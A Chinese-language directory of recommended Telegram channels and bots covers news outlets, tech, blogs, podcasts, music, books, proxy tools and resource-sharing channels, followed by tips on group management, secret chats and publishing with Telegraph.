在一个后真相时代，要分清事实和观点:
- 对于事实，要有多个独立信源交叉验证。
- 对于观点，要注意论述逻辑和因果关系。
频道 详情 看鉴中国 OutsightChina 👍 一个健康的社会，不该只有一种声音。看鉴中国，每天聚焦一则关于中国的新闻事件，带你对比来自中外不同媒体多元的、不一样的观点。 乌鸦观察 👍 不定期推送新闻和杂谈。 竹新社 7×24 不定时编译国内外媒体的即时新闻报道。 新闻实验室 推荐订阅方可成老师的 Newsletter。微信公众号文章备份。 南方周末 在这里，读懂中国。非官方。 iDaily 每日环球视野。 新周刊 一本杂志和一个时代的体温。 南都观察 RSS 地址：https://www.nanduguancha.cn/rss 新闻联播（文字版） 《新闻联播》是中国中央电视台每日在北京时间晚间 19:00 播出的一個重点时政新闻节目，于 1978 年 1 月 1 日启播。 中国数字时代消息推送 致力于聚合「中国的社会与政治新闻，和它在世界上的新兴的角色」有关的报道和评论。 多数派Masses 我们是一群反对资本主义、反对帝国主义、反对父权制、反对一切压迫和宰制的青年。Matters 的创作空间站 | Newsletter 60 秒读懂世界 来自 60 秒读懂世界公众号。 突发新闻 突发新闻推送服务（简体中文）。 NFW News for Work, Not for Work. 电报时报 提供全天候热点中国及国际新闻，涵盖突发新闻、时事、财经、娱乐、体育，评论、杂志和博客等。 蘋果日報 Apple Daily 为香港上市公司壹传媒旗下繁体中文报纸，由大股东黎智英所创立，被民主派支持者普遍认为是香港目前唯一未被「染红」的媒体。by 维基百科 台湾 中央社 香港 苹果日报 如题。 NGOCN NGOCN 是一家中国独立媒体，非营利性质，致力向公众提供进步、负责任且多元的纪实性内容，目前由认同其理念志愿者运营。 中华人民共和国外交部发言人表态 外交部负责处理中华人民共和国政府与世界其他国家政府及政府间国际组织的外交事务。 端傳媒 Initium Media 由程式自動獲取並推送端傳媒 RSS 所有文章，链接至官网。 端传媒 RSS 链接至 Telegraph 和官网。RSS 地址：https://rsshub.app/initium/latest/zh-hans 端传媒 每日推送端传媒（付费）文章.pdf。手头宽裕，还是 付费购买端会员 或购买 新闻通讯 Newsletter。 🌐 国外媒体（简体中文）
频道 详情 纽约时报中文网 👍 The New York Times (NYT) 创刊于 1851 年，世界上最著名的报纸之一。美国严肃报刊的代表，获得过 122 项普利策奖，是获奖最多的媒体。 BBC 中文网 BBC News 是世界最大的公共广播公司，位于英国，资金主要来自英国国民缴纳的电视牌照费，是一家独立运作的公共媒体（非商业媒体，也不由英国政府控制）。 联合早报 zaobao.sg 早报 + 晚报 + 新明新闻。 路透中文网 Reuters 世界三大通讯社之一，成立于 1851 年，总部位于英国伦敦。 德国之声 Deutsche Welle (DW) 按德国公法设立的国际化公共媒体，从联邦政府获得拨款，总部位于波恩和柏林。 澳大利亚广播公司 Australian Broadcasting Corporation (ABC) 是澳大利亚的国家公共广播机构，它由政府出资，向澳大利亚和海外提供电台、电视、互联网服务。总部设在悉尼。 法国国际广播电台 Radio France Internationale (RFI) 是法国专责世界大部分地区之国际广播的电台广播机构，现隶属法国国营国际广播公司法国世界媒体旗下。by 维基百科 美国之音中文网 Voice of America (VOA) 成立于 1942 年 2 月，是美国政府对外设立和资助的国有非军事国际广播宣传喉舌，由美国国际媒体署管理，旗下拥有广播电台与电视台，总部座落在首都华盛顿。by 维基百科 华尔街日报 RSS 地址：https://feedx.net/rss/wsj.xml 俄罗斯卫星通讯社新闻 Sputnik 是俄罗斯政府控制的新闻机构今日俄罗斯媒体集团于 2014 年 10 月开通的新闻通讯社、新闻网站、广播电台与媒体新闻中心。by 维基百科 韩国新闻 朝鲜日报 + 中央日报中文版 日本新闻 共同网 + 朝日新闻中文网 + 日本经济新闻中文版 双语新闻 纽约时报双语新闻 + 中国日报网英语点津 Twitter Subscription 搬运以下 Twitter 账号：BBC News 中文、DW 中文- 德国之声、国际特赦组织中文、纽约时报中文网。 新闻播报 PDF 每天为大家送来 NYT 和 BBC 的新闻 PDF。 What's News 推送各种英文外刊和杂志的 PDF。 以上部分介绍来自西方媒体查一查。查询可信度和倾向性，请安装 浏览器插件，或者访问 微信小程序。
💸 财经新闻
频道 详情 财经快讯 全球财经资讯 24 小时不间断直播。 FT 中文网 Financial Times（金融时报）创刊于 1888 年，编辑总部位于伦敦，2015 年被日本经济新闻收购。 💾 科技
频道 详情 Solidot 👍 奇客的资讯，重要的东西。 Readhub 👍 readhub.cn 非官方 RSS 推送频道。 Newlearnerの自留地 👍 不定期推送 IT 相关资讯。 Appinn Feed 👍 分享免费、小巧、实用、有趣、绿色的软件。 少数派 👍 少数派致力于更好地运用数字产品或科学方法，帮助用户提升工作效率和生活品质。 科技爱好者周刊 👍 记录每周值得分享的科技内容，周五发布；非官方频道。科技爱好者周刊合集。 TestFlight 科技花 发布科技新闻、App 测试版链接、软件使用相关话题。 Hacker News Top stories from news.ycombinator.com (with 100+ score). V2EX - 最新/最热主题 V2EX 是创意工作者们的社区，可以分享生活和事业。 科技圈的日常 科技圈内的大事小事。 Telegram 中文 NEWS 聪聪 的频道：提供印象笔记、Telegram、科学上网等新闻。Telegram 知识汇总。 每日消费电子观察 不公正，不客观，不理性。 cnBeta cnBeta.COM 中文业界资讯站是一个提供 IT 相关新闻资讯、技术文章和评论的观点的中文网站。 IT 之家 RSS 地址：https://www.ithome.com/rss/ VPS 信号旗播报 关注 VPS 和通信自由。 硬核小卒 分享优质的科技/商业资讯。 知乎日报 越来越难用的问答网站。 Daily Tech News 每日科技新闻。 每日 AWESOME 观察 每日更新分享最炫酷的开源项目。 LetITFly News 主题包括但不限于 Android、Windows、Web、消费电子相关，吹水为主。 Science Science News channel, videos and articles - international project, 35+ countries. OnePlus Everything OnePlus. 老毛子 Padavan 固件发布 一个路由器固件。 油油分享频道 分享开源、优秀的软件，有趣、实用的网站资源。 Widget 优质工具和软件，以及有用有趣的科技资讯。 科技互联网
- 即刻精选
jike_read
即刻精选，以及相关讨论。这里是即友们的 TG 自留地。
Apple
- AppleGuide
AppleBuyersGuide
小胖 的苹果产品购买指南，更系统请查看 AppleGuide.cn，不断完善中。 - 果核 Apple Nuts
AppleNuts
一个果粉（Hackl0us）的闲言碎语， 用来推送苹果（Apple） 相关的技术、新闻资讯、技巧、产品/软件心得体会等。 - AppPie
AppPie
Apple 相关的数字生活指南。 - iOS 限免与优质应用推荐
iosblackteckapp
免费使用正版应用，以及分享 iOS 各种高效实用应用与实用黑技巧。 - iOS Releases
iOSUpdates
iOS, TvOS and watchOS signing status updates. This channel will notify you when apple starts or stops signing a firmware version.
Android
- 问道
mdqwsf
该频道 apk 为个人汉化而来。
软件
- 简悦 - SimpRead
simpread
让你瞬间进入沉浸式阅读的 Chrome 扩展，还原阅读的本质，提升你的阅读体验。
希望做一些让这个世界变得更美好的小事。by Kenshin
网站 | 订阅中心
📚 博主
频道 详情 庭说 👍 第一时间获取博客的更新通知以及碎片化思考。 庭说 - 唠叨频道 @tingtalk_all 发布一些主频道 @tingtalk 之外的增量更新以及碎片化思考。 小破不入渠 👍 科技评论人 Jesse Chan，博客是 大破进击。 一天世界 👍 一天世界，昆乱不挡。不鸟万如一主理。IPN 出品。 caoz 的梦呓 👍 认识曹政之后，感觉互联网终于入门了。by Fenng ZUOLUOTV 👍 科技 / 旅行 / 摄影 / 生活方式 / 博客 不求甚解 👍 Newlearnerの自留地 编辑；设计师 oooooohmygosh 的代言人。 小道消息 大道无形，小道消息；公众号备份站点。 卖桃者说 博客是 MacTalk：池建强的随想录关注技术和人文。 数字移民 无法肉身移民的情况下，在数字生活上追求一定的自由；博客。 Real Spencer Woo 开发者 / 设计师 / 少数派 / 学生 / 博客。 Sukka's Notebook Belongs to Hexo dev team / 博客。 扫地僧笔记 每天所见所闻所想，是个树洞。 一方天地 心留一方天地，世界依旧美好。 湾区日报 关注创业与技术，不定期推送 5 篇优质英文文章。 海龙说 牢记梦想，自然生长。by 郝海龙的博客 荔枝木 这个世界很复杂，我尝试着去理解它。 KAIX.IN 思考碎片，博客 更新。 TSBBLOG 影子的博客：独立观察及记录。 AK 讲废话 科普视频系列：无线技术、显示技术、翻墙技术…… P3TERX ZONE P3TERX读作 Peter X。值物志 分享各种值得尝试的事物：值得读的书、值得用的软件、值得看的电视剧…… 小虎の自留地 讨论家装心得或者有趣实用的家具电器。 Leonn 的博客 低价主机（VPS）资源。 Yachen's Channel 刘亚晨是 Surge 的开发者| Yachen's Blog BennyThink's Blog 随便分享点什么，可能是某部剧，可能是某首歌，可能是一点点感动的瞬间，也可能是我最爱的老婆。 MolunSays 希冀笔尖之下，世界兴旺繁华 | 博客 日常人间观察 关心科技 / 人文 / 艺术 / 城市公共空间 / 女性和性别议题 / 劳工权益 / 个体叙事 / 电影 / 音乐 / 书 / 星星…… In The Flux 关于文化、艺术与技术的信息流。 为也行 「书籍 | 电影 | 资源 | 技巧 | 摸鱼图」大多原创，少部分转发。 Jerry Zhang 的频道 在渥太华的长春人。
博客：Overflow，向信息过载的世界大喊。
播客：《科技聚变》（TechFusion），我们谈论有关互联网的一切。老人和糟 没有频道简介，科技相关。 Karen 医生の日常 一个小医生的通讯站。不想出名，只传播一些信息和科普。谨慎关注，会发一些血淋淋的图片。 人海拾贝FlipRadio 翻转电台的 Channel，一些零零散散的要分享的东西。 Find Blog 发现优秀的博客与创作者。 TomBen’s Web Excursions PhD Student、Productivity Enhancer、Writing Enthusiast
博客 | 少数派熊言熊语 「熊言熊语」是一档关注学习分享和知识科普的 播客 栏目，我们希望用声音记录改变与成长。思考问题的熊和他的朋友们一起聊学习工作、聊科研科普。
博客 | NewsletterHell Cell 功能教学 通过 YouTube 视频讲解一些实用软件那些有用有趣的功能。 The Sociologist 我们只谈论记忆，因为不再有记忆。 每日摄影观察 一个不严肃的摄影频道。 中國家地理雜誌中文版 Hi 探險家，和國家地理一起探索世界吧！ - EdNovas 的小站
@ednovas2
网站：ednovas.xyz
导航：navigate.ednovas.xyz - gledos 的微型博客
gledos_microblogging
请记住我们，因我们也在这世上爱过和笑过。 - Route 66 Blog
landofmaplex
网站：留学、移民、程序员、死磕北美、加拿大、美国、跑路、移民生活。
中文独立博客列表 by timqian
🔔 RSS
频道 详情 RSSHub 布告栏 万物皆可 RSS。 All About RSS 关于 RSS 技术的应用、周边、介绍、方法、教程、指南、讨论、观点。 RSS 频道收集 收集推送 RSS 的频道，把 TG 变成 RSS 阅读器。 🎙 播客
采用 RSS 订阅的播客，永远都不会过时。
频道 详情 「利器x播客」计划 官网 播客先声 分享关于播客的一切。by Zac 中文播客精选 分享精选优质中文播客，目前推荐单期节目为主。by 白昼电台 的主播 Stella Your Daily Dose of Podcast 每天推荐一集让人心潮澎湃、若有所思、打开新世界大门的播客节目。by 穿堂风
推荐的播客会同步更新在 Medium
我在豆瓣上分享了 400 集播客节目，有什么用？交差点 Technology alone is not enough. 不客观 Not Objective 一档搭建在 Telegram 的简易播客，纯主观感受。by 郝海龙 白昼电台 The Day 黑夜已深，白昼将近，我们就当脱去暗昧的行为，带上光明的兵器。 维生素 E 经济学与哲学知识分享。 Go 夜聊 一档由杨文和欧长坤主持的针对 Go 语言的播客节目 阿乐杂货铺 这里每日推送小人物播客及播客周边；职业发展、自我成长、读书电影、海外工作与生活碎片。 🎵 音乐
频道 详情 知音 👍 发一些关于音乐的东西。 Imusic 音乐，就是理想的挽歌，年代久远，依然飘扬。 杂鱼Music Channel 我相信，爱音乐的人都有着一颗柔软的心。 音乐世界 温柔被我唱成了歌，伴你人山人海不停留。 心声：音乐分享频道 分享一些能引起共鸣的音乐。 每日一歌 愿你也能在这里找到属于你自己的共鸣。 Classical Music 一起来听古典音乐吧。 蛙音通讯 Feels wonderful again man. 无损音乐频道 分享无损音乐、高品质音乐、原碟整轨分轨音频。 浦镇青年 李志。 崔健无损 中国大陆摇滚先驱者。 音乐分享频道 一般为无损音乐。 音乐屋 发现音乐新世界：live、黑胶、磁带 CXPLAY MUSIC 单曲音乐试听，专辑存放在 这。 下载音乐，还可以查阅下文中提到的音乐机器人。
🏫 读书
人类的悲喜并不互通，但读书是走向共同理解的捷径。
频道 详情 Word Power Made Easy 利用词根（原始印欧语、拉丁语、古希腊语）学习英语单词。 英语精读学习 夜空中最亮的星，就是你自己！我们一起精读英语，一起进步，遇见更好的自己吧！资料不定时更新哟！ ENGLISH PODCASTS INFINITY PODCASTS CHANNEL WITHOUT ANY LIMITS. 中文社科讲座资讯 一个讲座信息聚合和 PPT 共享平台。 ReadFine 电子书屋 致力于电子书分享的读书频道。EPUB 电子书一站式阅读体验（包括豆瓣评分、书籍简介、封面截图），一键下载，享受读趣。 The Economist Sharing Channel Sharing the Economist and E-books every week. 什么书值得读 仅推送某亚原版资源，可同时下载 .azw3.epub.mobi的电子书。好书分享频道 学习，是一辈子的大事。 小声读书 一个探索数字阅读可能性和未来的开放项目，致力于打破信息茧房，挖掘价值信息。 值得一看的文章 阅读更少，收获更多。 云上报刊亭 英文报刊杂志、电子书、报纸和外文杂志精选。 Λ-Reading 分享书和阅读、认知科学、科技哲学、新科技以及其它给生活带来一丝美好的事物 | Newsletter 臭（xiù）文字 诗歌频道；我是一个嗅觉特别发达的人，你说，然而，没有一种艺术可供我的鼻子用武，只有生命可以。 已有丹青約［書畫］ 高清油画档案（超过两万张）。 阿银书屋 偶尔更新，没事来看看。 红楼梦 每日一章 💞DreamOfRedMansions。 插播一个免费的广告：学英语，推荐购买郝海龙老师的《英语自学手册》（￥119）。
🚀 翻墙
软件
频道 详情 Clash .NET 公告 👍/ A Clash GUI Proxy For Windows Based On .NET 5 Fndroid 的日常 👍 Clash for Windows Clash for Android Channel A Graphical user interface of Clash for Android Surfboard News 安卓专享的翻墙客户端，但不支持 SSR。
用户手册SagerNet Apks 支持 SOCKS、HTTP(S)、Shadowsocks、ShadowsocksR、VMess、VLESS、Trojan……等协议
SagerNet 官网AnXray Another Xray for Android
GitHubShadowrocket News iOS 上小火箭 Quantumult News Quantumult 的非官方频道。 Quantumult X News 此频道用于发布 Quantumult 与 Quantumult X 的相关资讯。 迷雾通（Geph） 与众不同的开源翻墙软件，提供完全免费的中速浏览，够浏览新闻、查邮件、看标清视频等。超快速度的付费 Plus 账号仅需 €5/月。截至 2021 年 5 月 29 日，暂不支持 iOS 设备。 协议 & 脚本 & 规则
频道 详情 V2Fly Shadowsocks 是一个纯粹的代理工具，而 V2Ray 定位为一个平台，任何开发者都可以利用 V2Ray 提供的模块开发出新的代理软件。by 新 V2Ray 白话文指南 ACL4SSR https://github.com/ACL4SSR/ACL4SSR 官方频道。 QuanX & Surge & Loon 脚本收集 各种脚本。 QuantumultX 教程&API&解析器 如题。 Cool Scripts QuanX, Loon, Surge, JsBox, Pythonista, Scriptable, Shortcuts 等脚本分享。 DivineEngine 神机规则 评测
频道 详情 毒药机场评测 由于大陆地区网络环境十分复杂，测速不代表推荐。另外，有些机场会泄露个人信息，选购时多加搜索或者进入机场用户群打探打探。 品云☁️测速 细品各种云☁️。PinYun is a non-profit organization dedicated to making the internet a better place for everyone. 科学上网与机场观察 科学上网与机场相关观察、点评、随想和新闻资讯。 关联阅读
🗄️ 搬运
频道 详情 煎蛋无聊图 自动抓取煎蛋首页推荐无聊图及其评论。 内涵段子：皮一下 如题。 美图与沙雕 如题。 糗事百科 如题。 心惊报 又一个沙雕图频道，每日随缘更新。 你知道的太多了 不定期发布和转载各类不一定靠谱的内幕、流言蜚语、小知识等。 蛋挞报 分享阅读体验。 微信搬运工 有些微信的内容分享了之后就和谐了，本频道可以做个备份，以及丰富电报上的中文内容（不可否认还是有很多非政治的优质内容在微信公众号里）。 微博精选 来自微博的文章、资源和观点。 豆瓣精选 豆瓣书影音，以及相关讨论。 鹅组精选 豆瓣鹅组 非官方搬运。 即刻精选 精选即刻 app 热门话题更新。我的即刻 ID 是 Dr_Ting。 你不知道的内幕消息 同时抓取来自即刻 app 的 #大公司的负面新闻。 Matters 閲讀精選 matters.news 一個自主、永續、有價的創作與公共討論空間。 🆓 资源
频道 详情 Google Play 限免信息 不定时推介 Play Store 上的限免游戏和 App。 Price Tag 推荐 App 限免降价，推送好物好券。 纯粹的 App Store 应用推荐 iOS 实用免费、精选限免、优质冰点应用推荐。 反斗限免 这里有反斗软件和反斗限免的文章更新。更新频繁高。 如有乐享 更新 如有乐享博客 的内容：云服务器、优惠活动、羊毛信息以及各种 Bug。 iShare News 一个没有简介的资源分享频道。 Zapro Notice 软件分享。 App 喵 破解软件资源共享。 Google Drive 资源 各种 Google Drive 资源，包括电影、电子书、无损音乐等，10 万+ 关注。 Google Voice 靓号 一个 GV 卖家。 Windows 10 激活码分享 🤫 Office Tool Plus Office Tool Plus 是一个用于部署、激活Office、Visio、Project 的小工具。借助本工具，你可以快速地完成各项Office 部署工作。 你有一个打折需要了解 分享 Steam 的周榜、折扣、资讯、喜加一等。 52 破解信息 吾爱破解。 擅长搜索的高木同学
gaomutongxue黑科技软件资源分享
kkaifenxiang
分享免费实用高效率网络资源、黑科技软件、实用黑技巧。Discover good software
ksc666
分享 Magisk、Riru、LSPosed、虚拟框架、Xposed 模块、Magisk 模块、Android、Windows……等软件。破解安卓 VPN 软件
vpn_cracked发布原创破解的 VPN 和各种软件，以及分享各类资源，多位安卓逆向大佬坐镇。
万能福利吧
@wnflb
分享有趣的信息，包含网站、活动、网购、下载综合症、好孩子看不见等福利。
🎞️ 视频
电影 / 剧集
- 四库全书
video4lib👍
一个不断收集互联网有价值内容的企划。 - 电影频道
TGDY188
精选国内外高分电影。 - 华联社电影频道
Cctv365 - 霸王龙发布频道
T_rex2333
专注于韩美剧，选取优质影片源。 - 苍炎影院
cangyanmovie
分享最新最热门的优质电影。 - 双语短视频合集
english_bilingual
学习英语，了解世界。
动漫
- 海贼王更新提醒
tingtalk_op
@TingTalk 子频道，试运营。由初中开始追 One Piece 的 Dr_Ting 创建， - Rick and Morty
@TingTalk 子频道，试运营。曾经把《瑞克和莫蒂》作为练口语的 素材，听了上百遍，但效果甚微，Wubba Lubba Dub-Dub。
下载站
PT 资讯频道
@PrivateTrackerNews
Private Tracker 资讯以及开放注册信息推送；PT 可以简单理解为私有化的 BT。Sync 资源更新
@shenkey
只发 key。电视机顶盒 & 手机影视 App
@tvbox001可看港台电视直播、美剧等。
😺 其它
软件
- Aria2 Channel
@Aria2_Channel
Aria2 完美配置、Pro Docker、Pro Core、一键安装管理脚本增强版 (GNU/Linux)。
未分类
频道 详情 iYouPort IYP 不是过眼云烟的新闻网站，我们提供实战能力，这里是值得您反复回看的档案室。 安全上网注意事项 转载一些关于安全上网的文章，这些文章都比较浅显。 博海拾贝 博海拾贝 的网站：bh.sb 回形针PaperClip & 灵光灯泡 回形针内容推送。 合租 Netflix、YouTube、Spotify、Office 365、HBO、Apple、Surge…… History Digging Past. Photos from Past who shaped today. 每日无数猫 让我们打造一个全是猫的世界！ฅ•ﻌ•ฅ NS 新闻转报 任天堂（Nintendo）相关的新闻。 基督讲道 基督讲道资源频道。 就要造反 此频道立足生活，以非常古怪的文字风格进行生存经验书写，绘制景观与消费社会中极具现实性的个案，以此为个体提供可操的、创造性的抵制策略与造反计谋。为一切造反者辩护，为所有无用与丰饶辩护。 残障之声 在态度和环境障碍相互作用存在的情况下，提供合理便利是全社会需要一同去解决的问题，残障人士应当理直气壮地要求这种权利和便利，去定义一个无障碍的社会。 🤖 Bot 推荐
Bots（机器人）就像运行在 Telegram 内部的小程序。借助 Telegram 开放的 APIs，可以实现很多让你意想不到的功能。
BotNews：The official source for news about the Telegram Bot API.
💠 内联机器人
在任意对话界面的消息编辑框，输入 Inline Bots 的名字，即可将 Ta 们唤醒（Just type
@inlinebots keywordsin any chat.）。Bot Info @bing 图片搜索 by Bing（支持中英文）。 @bold 👍 使用 Markdown 编辑消息（有字数限制）。 @coub Coub 是一个视频共享网站（时长十秒的循环视频）。 @creationdatebot 获取注册 Telegram 的日期。 @fanyi_bot 为全世界语言提供中文翻译。 @foursquare 帮你找到附近的餐馆或附近的地方，并将其地址发送给朋友。 @gamee 在群组中输入 @gamee，选择一个游戏，立刻和你的朋友 在 Telegram 上玩小游戏。@gif 👍 GIF 动图搜索，支持中文。例如 @gif 你好。@imdb 查看影视作品在 互联网电影资料库（IMDb）的评分。 @GoogleDEBot 在任意聊天框使用 Google 搜索引擎。 @like 👍 添加 emoji-based like buttons，例如 👍 / 👎。在搜索框输入 @like，预设一些喜欢的投票符号（最多 6 个），然后就可以在聊天框输入@like调用这些预设。@music 帮你找到动听的古典音乐。 @pic 图片搜索 by Yandex（支持中英文）。 @QuizBot 答题机器人：创建一份只有单选题的考卷。点此 开始测试你对 Telegram 的了解程度。访问 quiz.directory 查看更多问卷。 @sticker 👍 检索所有与 Emoji 相关表情包。例如 @sticker 😎。@telegraph 👍 登录和编辑 Telegraph 文章，并 统计 telegra.ph 的浏览量。 @vid 帮你查找 YouTube 视频（支持中文搜索）。 @vote 投票机器人。 @wiki 维基百科。搜索中文条目 @wiki zh 猫；搜索英文条目@wiki en cat@youtube 帮你查找 YouTube 视频（不支持中文搜索）。 🧱 非内联机器人
以下 Bots 不能在聊天窗口调取使用。
🧡 RSS 机器人
（如果）你不懂得 RSS，上网的效率和乐趣都要大打折扣。by 阮一峰
相比于传统的 RSS 客户端，Telegram 上的 RSS 订阅器的优点是：
- 自动记录上次浏览的位置
- 某些 RSS Bots 支持
⚡ INSTANT VIEW
在 All About RSS 里推荐了很多 RSS Bots：
- @FeedManBot
- @TheFeedReaderBot：不仅可以订阅 RSS 源，还可以在 Telegram 上浏览 Twitter。
- @Feed2Telegram_bot：免费用户只有 5 条 Feeds；发送 Twitter（推特）链接，即可追踪。
- @el_monitorro_bot
- @newlearner_rss_bot
- @NodeRSS_bot
- ……
以上大部分 Bots 都能免费使用，但是保不齐哪天服务器撑不住，就停止运营了，所以记得定期导出 OPML 文件作为备份。
如果有 VPS，自己搭一个专用的 RSS Bot 会是不错的选择。
🎵 音乐机器人
在 Telegram 上实现点歌自由，或者像我一样建立频道，存放喜欢的歌单：@tingtalk_fm
- 找一个音乐机器人，例如 @haoyybot
- 搜索歌名，选择歌曲，下载后转发到频道
- 修改（Edit）歌曲信息，加入标签（方便搜索）和链接（例如 YouTube 上的 MV）
如遇到版权限制，无法下载，换用其它歌曲 Bots：
听歌识曲
下载 YouTube 音频
下载音乐、歌词、视频等媒体
内置音频播放器
- 长按住「下一首」 和「上一首」按钮可以快进和倒带。Press and hold on the Next and Previous buttons to fast-forward and rewind.
💽 DC 查询
Telegram 的服务器分布在世界各地的数据中心（Data Center，简称 DC）。如何查询自己所在的数据中心（好像没啥用）：
第一步，在隐私和安全设置中，（临时）开启所有人都能查看你的头像（Profile Photos）。
第二步，选择一个查询 Bot，例如 @WooMaiBot
第三步，发送
/dc，即可获得你所在的数据中心。🎁 其它机器人
Bot Info @bingdict_bot 基于 Bing 开发的中英文翻译机器人。 @BotsArchiveBot 收集了上千个 Bots（仅限英文版）；官网。 @CorsaBot 👍 Make Instant View from any article. 快速把文章把文章备份到 Telegraph。 @cnLottery_bot Telegram 群组抽奖工具。 @DogFatherPublicbot App Store 价格监控。 @githubbot 推送 GitHub 仓库的动态。 @GmailBot 👍 在 Telegram 上收发 📧 Gmail。 @he_weather_bot 和风天气小棉袄。另外还有 WIEN 产品的 广州、深圳、东莞 的天气速报频道。 @IFTTT With this bot you can use IFTTT to link your Telegram groups or channels to more than 360 other services like Twitter and Instagram, or connected devices like Hue lights and Nest. @jobs_bot This bot lists career opportunities at Telegram and accepts candidates' applications. Available at https://telegram.org/job @LivegramBot 👍 不加好友也能私聊，可用于收集反馈及绕开 +86手机号码的限制。
因为经过一层转发，消息一旦发送，便无法删除，但有个短暂的修改期。@MakeQrBot 发送文字，生成对应的二维码。 @sssoou_bot Telegram 搜索，支持中文。 @Stickers 👍 创建属于自己的表情包。 @tweet_for_me_bot 在 Telegram 上发布 Twitter 动态。 @tgstogifbot 把 Telegram 上 tgs 格式的表情包转换为 gif 格式。 @utubebot 同时下载 YouTube 的视频和音频，不过会推送一些广告。 @verifybot 加了官方认证后，名字后面有个 ✅（verify a big andactive official channel, bot or public group）。 @zzzdmbot 真正值得买推送机器人，可以根据关键词订阅推送什么值得买精选优惠信息。 👥 群组管理
群组人数最高 20 万。转换为广播组（Broadcast Group）之后，人数将不受限制，但只有管理员可以说话，但是成员仍然可以加入语音聊天。注意，切换之后，将不能回退到普通群组。
静音群组只有在
@提到你、Reply回复你和Pin管理员发布群通知时才会收到通知。新加入的成员可以看到全部的群聊历史记录（New members can see the entire message history when they join）。
加入群组之前，可看到（单向）好友是否在列。如果不想让好友知道你加入了某个群组，注册一个小号吧。
支持在任何设备上发起语音聊天（Voice Chats）
- 在 Telegram Desktop 和原生 macOS app 中，支持设置发言快捷键，例如大小写锁定键。（On Telegram Desktop and in the native macOS app, you can choose a push-to-talk key for Voice Chats, to control your mic even when Telegram is not focused. At long last, we've found a use for your Caps Lock key.）
- 需要在翻墙服务/软件上开启 UDP 转发。
- 截至 2021 年 1 月 13 日，语音聊天支持 5000 人同时参与。Voice Chats for up to 5,000 participants.
- 主持人可以控制发言者的音量（Adjust the Volume），这个设置是全局的，对所有听众有效。
庭说读者群组是 @tingtalk_group。
👮 管理之道
- 可删除成员的单条消息或全部消息。
- 慢速模式（Slow Mode）：在 10 秒 / 30 秒 / 1 分钟 / 5 分钟 / 15 分钟 / 1 个小时内，成员只能发送一条消息，这样可以使小组中的对话更加有序，也可以提高每条信息的价值。
- 群组权限：管理员可以限制所有成员或单个成员只能发送特定类型的内容（Partial bans），如此一来，你便可建立一个没有表情贴纸或者 gif 的高质量交流社区。或者甚至完全限制成员发送信息，让管理员彼此交谈，而群成员则默默地旁观。
- 可对群主（creator）及管理员（administrators）设置自定义头衔（Custom title）。
- 管理日志（Recent Admin Actions）：当多个管理员在一起工作时，很容易搞不清楚哪个管理员或管理机器人，在什么时候做了什么。所以 Telegram 的管理员页面增加了「最近动作」功能。用于存储过去 48 小时内在组中执行的所有服务操作的日志，仅对管理员可见。
- 2020 年 9 月 30 开始，管理员可以匿名发布消息了（Anonymous Group Admins）。
- 成员超过 500 人后，自动开通群组分析功能。Owners of large groups with over 500 members can view beautiful, detailed graphs about its activity and growth.
🔐 管理机器人
在群组设置里搜索 Bots 名字，即可添加，然后赋予尽可能少的权限。
- 开源验证机器人，详情参见 官网
- 赋予
Delete messages和Ban users权限
@DeleteEventsBot 或 @AntiServiceMessage_Bot
- 删除冗余的事件通知，例如谁加入了群组。强烈建议群组管理员装备上这个 Bot，减少信息噪音
- 赋予
Delete messages权限
- 自动解除关联频道（Linked hannel）转发到群组的自动置顶消息，并恢复之前的置顶消息
- 赋予
Pin messages和Delete messages权限
其它管理机器人：
- @keyworddel_bot：自动删除群组推广、广告、博采等消息。
- SCP-079-INFO：免费并开源的群组管理机器人，需 申请 通过后才能使用。查看项目介绍
🤐 私密聊天
Cloud Chats（默认聊天模式）
客户端-服务器/服务器-客户端信息存储在 Telegram Cloud 中进行加密，这使云消息既安全又可以立即从任何设备访问，即使丢失了设备。所以你不需要将所有的信息历史记录存储在手机上，当你需要的时候，你可以随时在 Telegram 下载（缓存）旧的信息和媒体，这为你节省了大量的磁盘空间和内存。
Secret Chats（不支持在 Windows 和 Web 上发起）
客户端-客户端聊天记录不能云备份，因为私人数据没有经过 Telegram 的同步服务器，所以没有任何人可以破解，包含 Telegram 团队本身。
关联阅读：为什么电报的端到端加密不是默认的？
- 只能通过原始设备访问历史消息。退出并再次登录，将失去所有的秘密聊天记录。
- 可设置阅后即焚（self-destruct）计时器，自动销毁消息或媒体文件（只适用于计时器设置后发送的消息，对早期的信息没有影响）。
- 不能转发消息。
- 不能编辑已发送的消息。
- Android 设备不能截屏；iOS 设备可以截屏 ，但对方截屏时你会收到通知。不过，只建议与你信任的人分享敏感信息。 毕竟，对方可以用另外一台设备给屏幕拍照。
- 删除发送方的消息，接收方那边也会强制删除。
😎 Telegraph
Telegraph 一个极简的匿名内容发布工具（Minimalist publishing tool）。如果内容侵权了，例如使用有版权的图片，可能文章会被投诉下架。
☝️ 用法一
此法不需要注册账号与下载软件。
- 在手机或电脑的浏览器的地址栏输入 telegra.ph
- 写文章
- 发布（PUBLISH）
⚠️ 内容发布之后，只要清除浏览器缓存，便无法再编辑文章，也不能追溯到文章作者。
✌️ 用法二
通过 Telegraph 机器人 @telegraph 管理文章：
- 能看到你发了多少篇文章，多少人看了（但是读者依旧看不到作者是谁）。
- 在任意聊天窗口输入 @telegraph，即可弹出你发布的所有文章。
📝 发布流程
- 在 Telegram 打开 Telegraph 的小管家 @telegraph
- 根据提示配置 Account
- 写文章：Author 可以写频道或者群组的 Public link（例如 https://t.me/tingtalk），读者点击作者即可跳转。
- 发布（PUBLISH）
✍️ 修改流程
在任何一个设备（across any number of devices）都可以再次编辑文章的标题、作者和正文（除了文章链接）：
Log in as *** on this device- 返回 @telegraph
My posts，点击文章的标题
- 电脑：自动跳转到浏览器打开，然后在右上角找到
EDIT - 手机：点击界面的右上角 3 个点，选择
Open in…用浏览器打开，滑倒文章底部即可看到EDIT
🔗 如何让文章链接更美观
URL =
https://telegra.ph/首次输入的标题-首次发表时的月份-首次发表时的日期如果你用中文撰写标题，例如《选择 Telegraph 的 10 个理由》，那么文章链接会变得又臭又长，且不能从链接或者文章主题：
https://telegra.ph/%E9%80%89%E6%8B%A9-Telegraph-%E7%9A%84-10-%E4%B8%AA%E7%90%86%E7%94%B1-12-04要想得到一个 friendlier-looking link，首次编辑请使用英文标题：
- 英文单词全部小写：10 reasons to choose the telegraph
- 把 the、a、an 等去掉：10 reasons to choose telegraph
- 用连字符
-代替标点和空格：10-reasons-to-choose-telegraph - 是否可以精简或者采用另外一种翻译：why-telegraph
再用
Edit功能修改标题为中文：选择电报的 10 个理由。
📝 如何让文章排版更美观
